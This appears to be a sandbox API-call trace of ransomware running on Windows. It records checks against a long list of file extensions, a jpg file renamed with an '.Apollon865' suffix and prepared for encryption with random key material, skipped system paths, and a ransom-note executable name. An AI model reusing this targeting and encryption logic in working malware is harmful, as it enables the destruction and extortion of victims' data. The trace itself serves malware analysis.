	[0058.861] lstrlenW (lpString="lwx") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0058.861] lstrlenW (lpString="maf") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0058.861] lstrlenW (lpString="maq") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0058.861] lstrlenW (lpString="mar") returned 3
	[0058.861] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0058.862] lstrlenW (lpString="marshal") returned 7
	[0058.862] lstrcmpiW (lpString1="ars.jpg", lpString2="marshal") returned -1
	[0058.862] lstrlenW (lpString="mas") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0058.862] lstrlenW (lpString="mav") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0058.862] lstrlenW (lpString="maw") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0058.862] lstrlenW (lpString="mdbhtml") returned 7
	[0058.862] lstrcmpiW (lpString1="ars.jpg", lpString2="mdbhtml") returned -1
	[0058.862] lstrlenW (lpString="mdn") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0058.862] lstrlenW (lpString="mdt") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0058.862] lstrlenW (lpString="mfd") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0058.862] lstrlenW (lpString="mpd") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0058.862] lstrlenW (lpString="mrg") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0058.862] lstrlenW (lpString="mud") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0058.862] lstrlenW (lpString="mwb") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0058.862] lstrlenW (lpString="myd") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0058.862] lstrlenW (lpString="ndf") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0058.862] lstrlenW (lpString="nnt") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0058.862] lstrlenW (lpString="nrmlib") returned 6
	[0058.862] lstrcmpiW (lpString1="rs.jpg", lpString2="nrmlib") returned 1
	[0058.862] lstrlenW (lpString="ns2") returned 3
	[0058.862] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0058.863] lstrlenW (lpString="ns3") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0058.863] lstrlenW (lpString="ns4") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0058.863] lstrlenW (lpString="nsf") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0058.863] lstrlenW (lpString="nv") returned 2
	[0058.863] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0058.863] lstrlenW (lpString="nv2") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0058.863] lstrlenW (lpString="nwdb") returned 4
	[0058.863] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0058.863] lstrlenW (lpString="nyf") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0058.863] lstrlenW (lpString="odb") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0058.863] lstrlenW (lpString="odb") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0058.863] lstrlenW (lpString="oqy") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0058.863] lstrlenW (lpString="ora") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0058.863] lstrlenW (lpString="orx") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0058.863] lstrlenW (lpString="owc") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0058.863] lstrlenW (lpString="p96") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0058.863] lstrlenW (lpString="p97") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0058.863] lstrlenW (lpString="pan") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0058.863] lstrlenW (lpString="pdb") returned 3
	[0058.863] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0058.863] lstrlenW (lpString="pdm") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0058.864] lstrlenW (lpString="pnz") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0058.864] lstrlenW (lpString="qry") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0058.864] lstrlenW (lpString="qvd") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0058.864] lstrlenW (lpString="rbf") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0058.864] lstrlenW (lpString="rctd") returned 4
	[0058.864] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0058.864] lstrlenW (lpString="rod") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0058.864] lstrlenW (lpString="rodx") returned 4
	[0058.864] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0058.864] lstrlenW (lpString="rpd") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0058.864] lstrlenW (lpString="rsd") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0058.864] lstrlenW (lpString="sas7bdat") returned 8
	[0058.864] lstrcmpiW (lpString1="ears.jpg", lpString2="sas7bdat") returned -1
	[0058.864] lstrlenW (lpString="sbf") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0058.864] lstrlenW (lpString="scx") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0058.864] lstrlenW (lpString="sdb") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0058.864] lstrlenW (lpString="sdc") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0058.864] lstrlenW (lpString="sdf") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0058.864] lstrlenW (lpString="sis") returned 3
	[0058.864] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0058.864] lstrlenW (lpString="spq") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0058.865] lstrlenW (lpString="te") returned 2
	[0058.865] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0058.865] lstrlenW (lpString="teacher") returned 7
	[0058.865] lstrcmpiW (lpString1="ars.jpg", lpString2="teacher") returned -1
	[0058.865] lstrlenW (lpString="tmd") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0058.865] lstrlenW (lpString="tps") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0058.865] lstrlenW (lpString="trc") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0058.865] lstrlenW (lpString="trc") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0058.865] lstrlenW (lpString="trm") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0058.865] lstrlenW (lpString="udb") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0058.865] lstrlenW (lpString="udl") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0058.865] lstrlenW (lpString="usr") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0058.865] lstrlenW (lpString="v12") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0058.865] lstrlenW (lpString="vis") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0058.865] lstrlenW (lpString="vpd") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0058.865] lstrlenW (lpString="vvv") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0058.865] lstrlenW (lpString="wdb") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0058.865] lstrlenW (lpString="wmdb") returned 4
	[0058.865] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0058.865] lstrlenW (lpString="wrk") returned 3
	[0058.865] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0058.866] lstrlenW (lpString="xdb") returned 3
	[0058.866] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0058.866] lstrlenW (lpString="xld") returned 3
	[0058.866] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0058.866] lstrlenW (lpString="xmlff") returned 5
	[0058.866] lstrcmpiW (lpString1="s.jpg", lpString2="xmlff") returned -1
	[0058.866] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.Apollon865") returned 85
	[0058.866] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.apollon865"), dwFlags=0x1) returned 1
	[0058.866] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0058.867] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1074) returned 1
	[0058.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0058.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0058.867] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0058.868] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0058.868] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.868] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x740, lpName=0x0) returned 0x15c
	[0058.869] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x740) returned 0x100000
	[0058.871] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0058.872] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0058.872] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0058.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0058.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.872] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.872] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0058.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0058.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.873] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0058.873] CloseHandle (hObject=0x15c) returned 1
	[0058.873] CloseHandle (hObject=0x150) returned 1
	[0058.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0058.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0058.873] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2=".") returned 1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="..") returned 1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="windows") returned -1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="bootmgr") returned 1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="temp") returned -1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="pagefile.sys") returned -1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="boot") returned 1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="ids.txt") returned -1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="ntuser.dat") returned -1
	[0058.873] lstrcmpiW (lpString1="Desktop.ini", lpString2="perflogs") returned -1
	[0058.874] lstrcmpiW (lpString1="Desktop.ini", lpString2="MSBuild") returned -1
	[0058.874] lstrlenW (lpString="Desktop.ini") returned 11
	[0058.874] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned 74
	[0058.874] lstrcpyW (in: lpString1=0x119e68a, lpString2="Desktop.ini" | out: lpString1="Desktop.ini") returned="Desktop.ini"
	[0058.874] lstrlenW (lpString="Desktop.ini") returned 11
	[0058.874] lstrlenW (lpString="Apollon865") returned 10
	[0058.874] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0058.874] lstrlenW (lpString=".dll") returned 4
	[0058.874] lstrcmpiW (lpString1="Desktop.ini", lpString2=".dll") returned 1
	[0058.874] lstrlenW (lpString=".lnk") returned 4
	[0058.874] lstrcmpiW (lpString1="Desktop.ini", lpString2=".lnk") returned 1
	[0058.874] lstrlenW (lpString=".ini") returned 4
	[0058.874] lstrcmpiW (lpString1="Desktop.ini", lpString2=".ini") returned 1
	[0058.874] lstrlenW (lpString=".sys") returned 4
	[0058.874] lstrcmpiW (lpString1="Desktop.ini", lpString2=".sys") returned 1
	[0058.874] lstrlenW (lpString="Desktop.ini") returned 11
	[0058.874] lstrlenW (lpString="bak") returned 3
	[0058.874] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0058.874] lstrlenW (lpString="ba_") returned 3
	[0058.874] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0058.874] lstrlenW (lpString="dbb") returned 3
	[0058.874] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0058.874] lstrlenW (lpString="vmdk") returned 4
	[0058.874] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0058.874] lstrlenW (lpString="rar") returned 3
	[0058.874] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0058.874] lstrlenW (lpString="zip") returned 3
	[0058.874] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0058.874] lstrlenW (lpString="tgz") returned 3
	[0058.874] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0058.874] lstrlenW (lpString="vbox") returned 4
	[0058.874] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0058.874] lstrlenW (lpString="vdi") returned 3
	[0058.874] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0058.874] lstrlenW (lpString="vhd") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0058.875] lstrlenW (lpString="vhdx") returned 4
	[0058.875] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0058.875] lstrlenW (lpString="avhd") returned 4
	[0058.875] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0058.875] lstrlenW (lpString="db") returned 2
	[0058.875] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0058.875] lstrlenW (lpString="db2") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0058.875] lstrlenW (lpString="db3") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0058.875] lstrlenW (lpString="dbf") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0058.875] lstrlenW (lpString="mdf") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0058.875] lstrlenW (lpString="mdb") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0058.875] lstrlenW (lpString="sql") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0058.875] lstrlenW (lpString="sqlite") returned 6
	[0058.875] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0058.875] lstrlenW (lpString="sqlite3") returned 7
	[0058.875] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0058.875] lstrlenW (lpString="sqlitedb") returned 8
	[0058.875] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0058.875] lstrlenW (lpString="xml") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0058.875] lstrlenW (lpString="$er") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0058.875] lstrlenW (lpString="4dd") returned 3
	[0058.875] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0058.875] lstrlenW (lpString="4dl") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0058.876] lstrlenW (lpString="^^^") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0058.876] lstrlenW (lpString="abs") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0058.876] lstrlenW (lpString="abx") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0058.876] lstrlenW (lpString="accdb") returned 5
	[0058.876] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0058.876] lstrlenW (lpString="accdc") returned 5
	[0058.876] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0058.876] lstrlenW (lpString="accde") returned 5
	[0058.876] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0058.876] lstrlenW (lpString="accdr") returned 5
	[0058.876] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0058.876] lstrlenW (lpString="accdt") returned 5
	[0058.876] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0058.876] lstrlenW (lpString="accdw") returned 5
	[0058.876] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0058.876] lstrlenW (lpString="accft") returned 5
	[0058.876] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0058.876] lstrlenW (lpString="adb") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0058.876] lstrlenW (lpString="adb") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0058.876] lstrlenW (lpString="ade") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0058.876] lstrlenW (lpString="adf") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0058.876] lstrlenW (lpString="adn") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0058.876] lstrlenW (lpString="adp") returned 3
	[0058.876] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0058.876] lstrlenW (lpString="alf") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0058.877] lstrlenW (lpString="ask") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0058.877] lstrlenW (lpString="btr") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0058.877] lstrlenW (lpString="cat") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0058.877] lstrlenW (lpString="cdb") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0058.877] lstrlenW (lpString="ckp") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0058.877] lstrlenW (lpString="cma") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0058.877] lstrlenW (lpString="cpd") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0058.877] lstrlenW (lpString="dacpac") returned 6
	[0058.877] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0058.877] lstrlenW (lpString="dad") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0058.877] lstrlenW (lpString="dadiagrams") returned 10
	[0058.877] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0058.877] lstrlenW (lpString="daschema") returned 8
	[0058.877] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0058.877] lstrlenW (lpString="db-journal") returned 10
	[0058.877] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0058.877] lstrlenW (lpString="db-shm") returned 6
	[0058.877] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0058.877] lstrlenW (lpString="db-wal") returned 6
	[0058.877] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0058.877] lstrlenW (lpString="dbc") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0058.877] lstrlenW (lpString="dbs") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0058.877] lstrlenW (lpString="dbt") returned 3
	[0058.877] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0058.878] lstrlenW (lpString="dbv") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0058.878] lstrlenW (lpString="dbx") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0058.878] lstrlenW (lpString="dcb") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0058.878] lstrlenW (lpString="dct") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0058.878] lstrlenW (lpString="dcx") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0058.878] lstrlenW (lpString="ddl") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0058.878] lstrlenW (lpString="dlis") returned 4
	[0058.878] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0058.878] lstrlenW (lpString="dp1") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0058.878] lstrlenW (lpString="dqy") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0058.878] lstrlenW (lpString="dsk") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0058.878] lstrlenW (lpString="dsn") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0058.878] lstrlenW (lpString="dtsx") returned 4
	[0058.878] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0058.878] lstrlenW (lpString="dxl") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0058.878] lstrlenW (lpString="eco") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0058.878] lstrlenW (lpString="ecx") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0058.878] lstrlenW (lpString="edb") returned 3
	[0058.878] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0058.878] lstrlenW (lpString="epim") returned 4
	[0058.879] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0058.879] lstrlenW (lpString="fcd") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0058.879] lstrlenW (lpString="fdb") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0058.879] lstrlenW (lpString="fic") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0058.879] lstrlenW (lpString="flexolibrary") returned 12
	[0058.879] lstrlenW (lpString="fm5") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0058.879] lstrlenW (lpString="fmp") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0058.879] lstrlenW (lpString="fmp12") returned 5
	[0058.879] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0058.879] lstrlenW (lpString="fmpsl") returned 5
	[0058.879] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0058.879] lstrlenW (lpString="fol") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0058.879] lstrlenW (lpString="fp3") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0058.879] lstrlenW (lpString="fp4") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0058.879] lstrlenW (lpString="fp5") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0058.879] lstrlenW (lpString="fp7") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0058.879] lstrlenW (lpString="fpt") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0058.879] lstrlenW (lpString="frm") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0058.879] lstrlenW (lpString="gdb") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0058.879] lstrlenW (lpString="gdb") returned 3
	[0058.879] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0058.879] lstrlenW (lpString="grdb") returned 4
	[0058.880] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
